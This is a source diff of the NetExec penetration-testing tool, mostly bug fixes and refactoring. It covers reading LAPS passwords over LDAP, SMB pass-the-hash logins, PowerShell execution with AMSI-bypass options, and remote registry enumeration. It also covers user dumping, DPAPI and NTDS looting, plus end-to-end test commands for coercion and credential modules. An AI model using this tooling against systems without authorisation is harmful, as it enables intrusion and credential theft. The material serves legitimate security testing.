     prev_port = self.logger.extra["port"]
     self.logger.extra["protocol"] = "LDAP"
@@ -274,7 +271,7 @@ def laps_search(self, username, password, cred_type, domain):
     if self.kerberos:
         if self.kdcHost is None:
             self.logger.fail("Add --kdcHost parameter to use laps with kerberos")
-            return None, None, None, None
+            return None, None, None
 
         connection = ldapco.kerberos_login(
             domain[0],
@@ -283,6 +280,7 @@ def laps_search(self, username, password, cred_type, domain):
             password[0] if cred_type[0] == "hash" else "",
             kdcHost=self.kdcHost,
             aesKey=self.aesKey,
+            dns_server=dns_server
         )
     else:
         connection = ldapco.auth_login(
@@ -290,11 +288,12 @@ def laps_search(self, username, password, cred_type, domain):
             username[0] if username else "",
             password[0] if cred_type[0] == "plaintext" else "",
             password[0] if cred_type[0] == "hash" else "",
+            dns_server
         )
     if not connection:
         self.logger.fail(f"LDAP connection failed with account {username[0]}")
 
-        return None, None, None, None
+        return None, None, None
 
     search_filter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + self.hostname + "))"
     attributes = [
@@ -325,13 +324,14 @@ def laps_search(self, username, password, cred_type, domain):
                     password[0] if cred_type[0] == "hash" else "",
                     self.kerberos,
                     self.kdcHost,
-                    339
+                    339,
+                    dns_server
                 )
                 try:
                     data = d.run()
                 except Exception as e:
                     self.logger.fail(str(e))
-                    return None, None, None, None
+                    return None, None, None
                 r = loads(data)
                 msMCSAdmPwd = r["p"]
                 username_laps = r["n"]
@@ -346,21 +346,17 @@ def laps_search(self, username, password, cred_type, domain):
         self.logger.debug(f"Host: {sAMAccountName:<20} Password: {msMCSAdmPwd} {self.hostname}")
     else:
         self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
-        return None, None, None, None
+        return None, None, None
 
     if msMCSAdmPwd == "":
         self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
-        return None, None, None, None
-
-    hash_ntlm = None
-    if cred_type[0] == "hash":
-        hash_ntlm = hashlib.new("md4", msMCSAdmPwd.encode("utf-16le")).digest()
-        hash_ntlm = binascii.hexlify(hash_ntlm).decode()
+        return None, None, None
 
     username = username_laps if username_laps else self.args.laps
     password = msMCSAdmPwd
     domain = self.hostname
     self.args.local_auth = True
+    self.args.kerberos = False
     self.logger.extra["protocol"] = prev_protocol
     self.logger.extra["port"] = prev_port
-    return username, password, domain, hash_ntlm
+    return username, password, domain

nxc/protocols/ldap/proto_args.py

@@ -11,7 +11,7 @@ def proto_args(parser, parents):
     dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
     dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
 
-    egroup = ldap_parser.add_argument_group("Retrevie hash on the remote DC", "Options to get hashes from Kerberos")
+    egroup = ldap_parser.add_argument_group("Retrieve hash on the remote DC", "Options to get hashes from Kerberos")
     egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file")
     egroup.add_argument("--kerberoasting", help="Output TGS ticket to crack with hashcat to file")
 
@@ -26,13 +26,13 @@ def proto_args(parser, parents):
     vgroup.add_argument("--get-sid", action="store_true", help="Get domain sid")
     vgroup.add_argument("--active-users", nargs="*", help="Get Active Domain Users Accounts")
 
-    ggroup = ldap_parser.add_argument_group("Retrevie gmsa on the remote DC", "Options to play with gmsa")
+    ggroup = ldap_parser.add_argument_group("Retrieve gmsa on the remote DC", "Options to play with gmsa")
     ggroup.add_argument("--gmsa", action="store_true", help="Enumerate GMSA passwords")
     ggroup.add_argument("--gmsa-convert-id", help="Get the secret name of specific gmsa or all gmsa if no gmsa provided")
     ggroup.add_argument("--gmsa-decrypt-lsa", help="Decrypt the gmsa encrypted value from LSA")
 
     bgroup = ldap_parser.add_argument_group("Bloodhound Scan", "Options to play with Bloodhoud")
     bgroup.add_argument("--bloodhound", action="store_true", help="Perform a Bloodhound scan")
-    bgroup.add_argument("-c", "--collection", default="Collection", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All. You can specify more than one by separating them with a comma")
+    bgroup.add_argument("-c", "--collection", default="Default", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All. You can specify more than one by separating them with a comma")
 
     return parser

nxc/protocols/rdp.py

@@ -109,7 +109,7 @@ class rdp(connection):
     def print_host_info(self):
         nla = colored(f"nla:{self.nla}", host_info_colors[3], attrs=["bold"]) if self.nla else colored(f"nla:{self.nla}", host_info_colors[2], attrs=["bold"])
         if self.domain is None:
-            self.logger.display("Probably old, doesn't not support HYBRID or HYBRID_EX ({nla})")
+            self.logger.display(f"Probably old, doesn't not support HYBRID or HYBRID_EX ({nla})")
         else:
             self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain}) ({nla})")
         return True
@@ -181,7 +181,7 @@ class rdp(connection):
                     credentials=self.auth,
                 )
                 asyncio.run(self.connect_rdp())
-                if str(proto) == "SUPP_PROTOCOLS.RDP" or str(proto) == "SUPP_PROTOCOLS.SSL" or str(proto) == "SUPP_PROTOCOLS.SSL|SUPP_PROTOCOLS.RDP":
+                if proto.value == SUPP_PROTOCOLS.RDP or proto.value == SUPP_PROTOCOLS.SSL or proto.value == SUPP_PROTOCOLS.SSL | SUPP_PROTOCOLS.RDP:
                     self.nla = False
                     return
             except Exception:

nxc/protocols/smb.py

@@ -14,7 +14,7 @@ from impacket.examples.secretsdump import (
     NTDSHashes,
 )
 from impacket.nmb import NetBIOSError, NetBIOSTimeout
-from impacket.dcerpc.v5 import transport, lsat, lsad, scmr
+from impacket.dcerpc.v5 import transport, lsat, lsad, scmr, rrp
 from impacket.dcerpc.v5.rpcrt import DCERPCException
 from impacket.dcerpc.v5.transport import DCERPCTransportFactory, SMBTransport
 from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
@@ -147,6 +147,9 @@ class smb(connection):
     def __init__(self, args, db, host):
         self.domain = None
         self.server_os = None
+        self.server_os_major = None
+        self.server_os_minor = None
+        self.server_os_build = None
         self.os_arch = 0
         self.hash = None
         self.lmhash = ""
@@ -161,6 +164,7 @@ class smb(connection):
         self.no_da = None
         self.no_ntlm = False
         self.protocol = "SMB"
+        self.is_guest = None
 
         connection.__init__(self, args, db, host)
 
@@ -211,6 +215,7 @@ class smb(connection):
             if "STATUS_NOT_SUPPORTED" in str(e):
                 # no ntlm supported
                 self.no_ntlm = True
+                self.logger.debug("NTLM not supported")
 
         # self.domain is the attribute we authenticate with
         # self.targetDomain is the attribute which gets displayed as host domain
@@ -220,8 +225,20 @@ class smb(connection):
             if not self.targetDomain:   # Not sure if that can even happen but now we are safe
                 self.targetDomain = self.hostname
         else:
-            self.hostname = self.host
-            self.targetDomain = self.hostname
+            # If we can't authenticate with NTLM and the target is supplied as a FQDN we must parse it
+            try:
+                import socket
+                socket.inet_aton(self.host)
+                self.logger.debug("NTLM authentication not available! Authentication will fail without a valid hostname and domain name")
+                self.hostname = self.host
+                self.targetDomain = self.host
+            except OSError:
+                if self.host.count(".") >= 1:
+                    self.hostname = self.host.split(".")[0]
+                    self.targetDomain = ".".join(self.host.split(".")[1:])
+                else:
+                    self.hostname = self.host
+                    self.targetDomain = self.host
 
         self.domain = self.targetDomain if not self.args.domain else self.args.domain
 
@@ -229,7 +246,23 @@ class smb(connection):
             self.domain = self.hostname
             self.targetDomain = self.hostname
 
-        self.server_os = self.conn.getServerOS()
+        # As of June 2024 Samba will always report the version as "Windows 6.1", apparently due to a bug https://stackoverflow.com/a/67577401/17395725
+        # Together with the reported build version "0" by Samba we can assume that it is a Samba server. Windows should always report a build version > 0
+        # Also only on Windows we should get an OS arch as for that we would need MSRPC
+        try:
+            self.server_os = self.conn.getServerOS()
+            self.server_os_major = self.conn.getServerOSMajor()
+            self.server_os_minor = self.conn.getServerOSMinor()
+            self.server_os_build = self.conn.getServerOSBuild()
+        except KeyError:
+            self.logger.debug("Error getting server information...")
+
+        if "Windows 6.1" in self.server_os and self.server_os_build == 0 and self.os_arch == 0:
+            self.server_os = "Unix - Samba"
+        elif self.server_os_build == 0 and self.os_arch == 0:
+            self.server_os = "Unix"
+        self.logger.debug(f"Server OS: {self.server_os} {self.server_os_major}.{self.server_os_minor} build {self.server_os_build}")
+
         self.logger.extra["hostname"] = self.hostname
 
         if isinstance(self.server_os.lower(), bytes):
@@ -243,21 +276,24 @@ class smb(connection):
         self.os_arch = self.get_os_arch()
         self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
 
-        self.db.add_host(
-            self.host,
-            self.hostname,
-            self.domain,
-            self.server_os,
-            self.smbv1,
-            self.signing,
-        )
+        try:
+            self.db.add_host(
+                self.host,
+                self.hostname,
+                self.domain,
+                self.server_os,
+                self.smbv1,
+                self.signing,
+            )
+        except Exception as e:
+            self.logger.debug(f"Error adding host {self.host} into db: {e!s}")
 
         try:
             # DCs seem to want us to logoff first, windows workstations sometimes reset the connection
             self.conn.logoff()
         except Exception as e:
             self.logger.debug(f"Error logging off system: {e}")
-        
+
         # DCOM connection with kerberos needed
         self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
 
@@ -310,7 +346,8 @@ class smb(connection):
                 self.logger.debug(f"Got TGS for {self.args.delegate} through S4U")
 
             self.conn.kerberosLogin(self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs)
-            self.check_if_admin()
+            if "Unix" not in self.server_os:
+                self.check_if_admin()
 
             if username == "":
                 self.username = self.conn.getCredentials()[0]
@@ -375,30 +412,26 @@ class smb(connection):
             self.domain = domain
 
             self.conn.login(self.username, self.password, domain)
+            self.logger.debug(f"Logged in with password to SMB with {domain}/{self.username}")
+            self.is_guest = bool(self.conn.isGuestSession())
+            self.logger.debug(f"{self.is_guest=}")
+            if "Unix" not in self.server_os:
+                self.check_if_admin()
 
-            self.check_if_admin()
             self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
             self.db.add_credential("plaintext", domain, self.username, self.password)
             user_id = self.db.get_credential("plaintext", domain, self.username, self.password)
             host_id = self.db.get_hosts(self.host)[0].id
-
             self.db.add_loggedin_relation(user_id, host_id)
 
-            out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
+            out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_guest()}{self.mark_pwned()}"
             self.logger.success(out)
 
             if not self.args.local_auth and self.username != "":
                 add_user_bh(self.username, self.domain, self.logger, self.config)
             if self.admin_privs:
                 self.logger.debug(f"Adding admin user: {self.domain}/{self.username}:{self.password}@{self.host}")
-                self.db.add_admin_user(
-                    "plaintext",
-                    domain,
-                    self.username,
-                    self.password,
-                    self.host,
-                    user_id=user_id,
-                )
+                self.db.add_admin_user("plaintext", domain, self.username, self.password, self.host, user_id=user_id)
                 add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
 
             # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
@@ -444,14 +477,18 @@ class smb(connection):
                 self.nthash = nthash
 
             self.conn.login(self.username, "", domain, lmhash, nthash)
+            self.logger.debug(f"Logged in with hash to SMB with {domain}/{self.username}")
+            self.is_guest = bool(self.conn.isGuestSession())
+            self.logger.debug(f"{self.is_guest=}")
+            if "Unix" not in self.server_os:
+                self.check_if_admin()
 
-            self.check_if_admin()
-            user_id = self.db.add_credential("hash", domain, self.username, nthash)
+            self.db.add_credential("hash", domain, self.username, self.hash)
+            user_id = self.db.get_credential("hash", domain, self.username, self.hash)
             host_id = self.db.get_hosts(self.host)[0].id
-
             self.db.add_loggedin_relation(user_id, host_id)
 
-            out = f"{domain}\\{self.username}:{process_secret(self.hash)} {self.mark_pwned()}"
+            out = f"{domain}\\{self.username}:{process_secret(self.hash)} {self.mark_guest()}{self.mark_pwned()}"
             self.logger.success(out)
 
             if not self.args.local_auth and self.username != "":
@@ -531,6 +568,7 @@ class smb(connection):
         return bool(self.create_smbv1_conn() or self.create_smbv3_conn())
 
     def check_if_admin(self):
+        self.logger.debug(f"Checking if user is admin on {self.host}")
         rpctransport = SMBTransport(self.conn.getRemoteHost(), 445, r"\svcctl", smb_connection=self.conn)
         dce = rpctransport.get_dce_rpc()
         try:
@@ -544,9 +582,13 @@ class smb(connection):
                 # 0xF003F - SC_MANAGER_ALL_ACCESS
                 # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
                 scmr.hROpenSCManagerW(dce, f"{self.host}\x00", "ServicesActive\x00", 0xF003F)
+                self.logger.debug(f"User is admin on {self.host}!")
                 self.admin_privs = True
             except scmr.DCERPCException:
                 self.admin_privs = False
+            except Exception as e:
+                self.logger.fail(f"Error checking if user is admin on {self.host}: {e}")
+                self.admin_privs = False
 
     def gen_relay_list(self):
         if self.server_os.lower().find("windows") != -1 and self.signing is False:
@@ -682,20 +724,21 @@ class smb(connection):
             except UnicodeDecodeError:
                 self.logger.debug("Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings")
                 output = output.decode("cp437")
-                
+
             self.logger.debug(f"Raw Output: {output}")
             output = "\n".join([ll.rstrip() for ll in output.splitlines() if ll.strip()])
             self.logger.debug(f"Cleaned Output: {output}")
-            
+
             if "This script contains malicious content" in output:
                 self.logger.fail("Command execution blocked by AMSI")
                 return None
 
-            if (self.args.execute or self.args.ps_execute) and output:
+            if (self.args.execute or self.args.ps_execute):
                 self.logger.success(f"Executed command via {current_method}")
-                output_lines = StringIO(output).readlines()
-                for line in output_lines:
-                    self.logger.highlight(line.strip())
+                if output:
+                    output_lines = StringIO(output).readlines()
+                    for line in output_lines:
+                        self.logger.highlight(line.strip())
             return output
         else:
             self.logger.fail(f"Execute command failed with {current_method}")
@@ -707,24 +750,24 @@ class smb(connection):
         if not payload:
             self.logger.error("No command to execute specified!")
             return None
-        
+
         response = []
         obfs = obfs if obfs else self.args.obfs
         encode = encode if encode else not self.args.no_encode
         force_ps32 = force_ps32 if force_ps32 else self.args.force_ps32
         get_output = True if not self.args.no_output else get_output
-                
+
         self.logger.debug(f"Starting ps_execute(): {payload=} {get_output=} {methods=} {force_ps32=} {obfs=} {encode=}")
         amsi_bypass = self.args.amsi_bypass[0] if self.args.amsi_bypass else None
         self.logger.debug(f"AMSI Bypass: {amsi_bypass}")
-        
+
         if os.path.isfile(payload):
             self.logger.debug(f"File payload set: {payload}")
             with open(payload) as commands:
                 response = [self.execute(create_ps_command(c.strip(), force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output, methods) for c in commands]
         else:
             response = [self.execute(create_ps_command(payload, force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output, methods)]
-            
+
         self.logger.debug(f"ps_execute response: {response}")
         return response
 
@@ -735,6 +778,11 @@ class smb(connection):
         try:
             self.logger.debug(f"domain: {self.domain}")
             user_id = self.db.get_user(self.domain.upper(), self.username)[0][0]
+        except IndexError as e:
+            if self.kerberos:
+                pass
+            else:
+                self.logger.fail(f"IndexError: {e!s}")
         except Exception as e:
             error = get_error_string(e)
             self.logger.fail(f"Error getting user: {error}")
@@ -809,6 +857,74 @@ class smb(connection):
             self.logger.highlight(f"{name:<15} {','.join(perms):<15} {remark}")
         return permissions
 
+    def interfaces(self):
+        """
+        Retrieve the list of network interfaces info (Name, IP Address, Subnet Mask, Default Gateway) from remote Windows registry'
+        Made by: @Sant0rryu, @NeffIsBack
+        """
+        try:
+            remoteOps = RemoteOperations(self.conn, False)
+            remoteOps.enableRegistry()
+
+            if remoteOps._RemoteOperations__rrp:
+                reg_handle = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)["phKey"]
+                key_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, "SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces")["phkResult"]
+                sub_key_list = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
+                sub_keys = [rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, key_handle, i)["lpNameOut"][:-1] for i in range(sub_key_list)]
+
+                self.logger.highlight(f"{'-Name-':<11} | {'-IP Address-':<15} | {'-SubnetMask-':<15} | {'-Gateway-':<15} | -DHCP-")
+                for sub_key in sub_keys:
+                    interface = {}
+                    try:
+                        interface_key = f"SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\{sub_key}"
+                        interface_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_key)["phkResult"]
+
+                        # Retrieve Interace Name
+                        interface_name_key = f"SYSTEM\\ControlSet001\\Control\\Network\\{{4D36E972-E325-11CE-BFC1-08002BE10318}}\\{sub_key}\\Connection"
+                        interface_name_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_name_key)["phkResult"]
+                        interface_name = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_name_handle, "Name")[1].rstrip("\x00")
+                        interface["Name"] = str(interface_name)
+                        if "Kernel" in interface_name:
+                            continue
+
+                        # Retrieve DHCP
+                        try:
+                            dhcp_enabled = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "EnableDHCP")[1]
+                        except DCERPCException:
+                            dhcp_enabled = False
+                        interface["DHCP"] = bool(dhcp_enabled)
+
+                        # Retrieve IPAddress
+                        try:
+                            ip_address = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpIPAddress" if dhcp_enabled else "IPAddress")[1].rstrip("\x00").replace("\x00", ", ")
+                        except DCERPCException:
+                            ip_address = None
+                        interface["IPAddress"] = ip_address if ip_address else None
+
+                        # Retrieve SubnetMask
+                        try:
+                            subnetmask = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "SubnetMask")[1].rstrip("\x00").replace("\x00", ", ")
+                        except DCERPCException:
+                            subnetmask = None
+                        interface["SubnetMask"] = subnetmask if subnetmask else None
+
+                        # Retrieve DefaultGateway
+                        try:
+                            default_gateway = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpDefaultGateway")[1].rstrip("\x00").replace("\x00", ", ")
+                        except DCERPCException:
+                            default_gateway = None
+                        interface["DefaultGateway"] = default_gateway if default_gateway else None
+
+                        self.logger.highlight(f"{interface['Name']:<11} | {interface['IPAddress']!s:<15} | {interface['SubnetMask']!s:<15} | {interface['DefaultGateway']!s:<15} | {interface['DHCP']}")
+
+                    except DCERPCException as e:
+                        self.logger.info(f"Failed to retrieve the network interface info for {sub_key}: {e!s}")
+
+            with contextlib.suppress(Exception):
+                remoteOps.finish()
+        except DCERPCException as e:
+            self.logger.error(f"Failed to connect to the target: {e!s}")
+
     def get_dc_ips(self):
         dc_ips = [dc[1] for dc in self.db.get_domain_controllers(domain=self.domain)]
         if not dc_ips:
@@ -1277,7 +1393,7 @@ class smb(connection):
                 self.logger.success(f"Created file {src} on \\\\{self.args.share}\\{dst}")
             except Exception as e:
                 self.logger.fail(f"Error writing file to share {self.args.share}: {e}")
-    
+
     def put_file(self):
         for src, dest in self.args.put_file:
             self.put_file_single(src, dest)
@@ -1300,7 +1416,6 @@ class smb(connection):
         for src, dest in self.args.get_file:
             self.get_file_single(src, dest)
 
-
     def enable_remoteops(self):
         try:
             self.remote_ops = RemoteOperations(self.conn, self.kerberos, self.kdcHost)
@@ -1383,7 +1498,7 @@ class smb(connection):
         except Exception as e:
             self.logger.debug(f"Could not upgrade connection: {e}")
             return
-        
+
         try:
             self.logger.display("Collecting Machine masterkeys, grab a coffee and be patient...")
             masterkeys_triage = MasterkeysTriage(
@@ -1398,7 +1513,7 @@ class smb(connection):
         if len(masterkeys) == 0:
             self.logger.fail("No masterkeys looted")
             return
-        
+
         self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting SCCM Credentials through {self.args.sccm}")
         try:
             # Collect Chrome Based Browser stored secrets
@@ -1588,7 +1703,6 @@ class smb(connection):
                     "Google Refresh Token",
                 )
 
-
         if dump_cookies and cookies:
             self.logger.display("Start Dumping Cookies")
             for cookie in cookies:
@@ -1774,3 +1888,6 @@ class smb(connection):
         except Exception as e:
             self.logger.debug(f"Error calling remote_ops.finish(): {e}")
         NTDS.finish()
+
+    def mark_guest(self):
+        return highlight(f"{highlight('(Guest)')}" if self.is_guest else "")

nxc/protocols/smb/mmcexec.py

@@ -103,7 +103,8 @@ class MMCEXEC:
         )
         try:
             iInterface = self.__dcom.CoCreateInstanceEx(string_to_bin("49B2791A-B1AE-4C90-9B8E-E860BA07F889"), IID_IDispatch)
-        except Exception:
+        except Exception as e:
+            self.logger.info(f"Got Exception while connecting with DCOM: {e}")
             # Make it force break function
             self.__dcom.disconnect()
         flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout)

nxc/protocols/smb/proto_args.py

@@ -34,6 +34,7 @@ def proto_args(parser, parents):
 
     mapping_enum_group = smb_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
     mapping_enum_group.add_argument("--shares", action="store_true", help="enumerate shares and access")
+    mapping_enum_group.add_argument("--interfaces", action="store_true", help="enumerate network interfaces")
     mapping_enum_group.add_argument("--no-write-check", action="store_true", help="Skip write check on shares (avoid leaving traces when missing delete permissions)")
     mapping_enum_group.add_argument("--filter-shares", nargs="+", help="Filter share by access, option 'read' 'write' or 'read,write'")
     mapping_enum_group.add_argument("--sessions", action="store_true", help="enumerate active sessions")

nxc/protocols/smb/samruser.py

@@ -78,10 +78,11 @@ class UserSamrDump:
         if resp2["ErrorCode"] != 0:
             raise Exception("Connect error")
 
+        domain_name = resp2["Buffer"]["Buffer"][0]["Name"]
         resp3 = samr.hSamrLookupDomainInSamServer(
             self.dce,
             serverHandle=resp["ServerHandle"],
-            name=resp2["Buffer"]["Buffer"][0]["Name"],
+            name=domain_name,
         )
         if resp3["ErrorCode"] != 0:
             raise Exception("Connect error")
@@ -132,12 +133,13 @@ class UserSamrDump:
                 # set these for the while loop
                 enumerationContext = enumerate_users_resp["EnumerationContext"]
                 status = enumerate_users_resp["ErrorCode"]
-        self.print_user_info(users)
+        self.logger.display(f"Enumerated {users:d} local users: {domain_name}")
         self.dce.disconnect()
 
     def get_user_info(self, domain_handle, user_ids):
         self.logger.debug(f"Getting user info for users: {user_ids}")
-        users = []
+        self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
+        users = 0
 
         for user in user_ids:
             self.logger.debug(f"Calling hSamrOpenUser for RID {user}")
@@ -160,18 +162,11 @@ class UserSamrDump:
             last_pw_set = old_large_int_to_datetime(user_info["PasswordLastSet"])
             if last_pw_set == "1601-01-01 00:00:00":
                 last_pw_set = "<never>"
-            users.append({"name": user_name, "description": user_description, "bad_pwd_count": bad_pwd_count, "last_pw_set": last_pw_set})
-
+            users += + 1
+            self.logger.highlight(f"{user_name:<30}{last_pw_set:<20}{bad_pwd_count:<8}{user_description} ")
             samr.hSamrCloseHandle(self.dce, open_user_resp["UserHandle"])
         return users
 
-    def print_user_info(self, users):
-        self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
-        for user in users:
-            self.logger.debug(f"Full user info: {user}")
-            self.logger.highlight(f"{user['name']:<30}{user['last_pw_set']:<20}{user['bad_pwd_count']:<8}{user['description']} ")
-
-
 def old_large_int_to_datetime(large_int):
     combined = (large_int["HighPart"] << 32) | large_int["LowPart"]
     timestamp_seconds = combined / 10**7

pyproject.toml

@@ -41,7 +41,7 @@ argcomplete = "^3.1.4"
 asyauth = ">=0.0.20"
 beautifulsoup4 = ">=4.11,<5"
 bloodhound = "^1.7.2"
-dploot = "^2.7.1"
+dploot = "^2.7.4"
 dsinternals = "^1.2.4"
 impacket =  { git = "https://github.com/fortra/impacket.git" }
 lsassy = ">=3.1.11"

tests/data/test_hashes.txt

@@ -0,0 +1,6 @@
+DEADBEEFDEADBEEFDEADBEEFDEADBEEF
+DEADBEEFDEADBEEFDEADBEEFDEADBEEF:DEADBEEFDEADBEEFDEADBEEFDEADBEEF
+TooShort
+ToooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooLong
+fc525c9683e8fe067095ba2ddc971889
+aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889

tests/e2e_commands.txt

@@ -62,6 +62,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -L
 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" PASSWORD="Password1"
 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" DELETE=True
+netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M bitlocker
 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dfscoerce
 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M drop-sc
 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M drop-sc -o CLEANUP=True
@@ -81,6 +82,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M imperson
 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M iis
 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M install_elevated
 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ioxidresolver
+netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M security-questions
 # currently hanging indefinitely - TODO: look into this
 #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_discover
 #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_trigger -o ACTION=ALL USER=LOGIN_USERNAME KEEPASS_CONFIG_PATH="C:\\Users\\LOGIN_USERNAME\\AppData\\Roaming\\KeePass\\KeePass.config.xml"
@@ -137,7 +139,10 @@ netexec smb TARGET_HOST -u '' -p '' -M petitpotam
 ##### SMB Auth File
 netexec smb TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce
 netexec smb TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce --continue-on-success
-netexec smb TARGET_HOST -u TEST_USER_FILE -p tests/data/test_passwords.txt
+netexec smb TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE
+##### SMB Hash File
+netexec smb TARGET_HOST -u LOGIN_USERNAME -H tests/data/test_hashes.txt
+netexec smb TARGET_HOST -u TEST_USER_FILE -H tests/data/test_hashes.txt
 ##### WMI
 netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
 netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --wmi-namespace root/cimv2
@@ -150,6 +155,7 @@ netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_dns
 netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get_netconnections
 #netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=enable
 #netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=disable
+netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M bitlocker
 ##### LDAP
 netexec {DNS} ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
 netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --users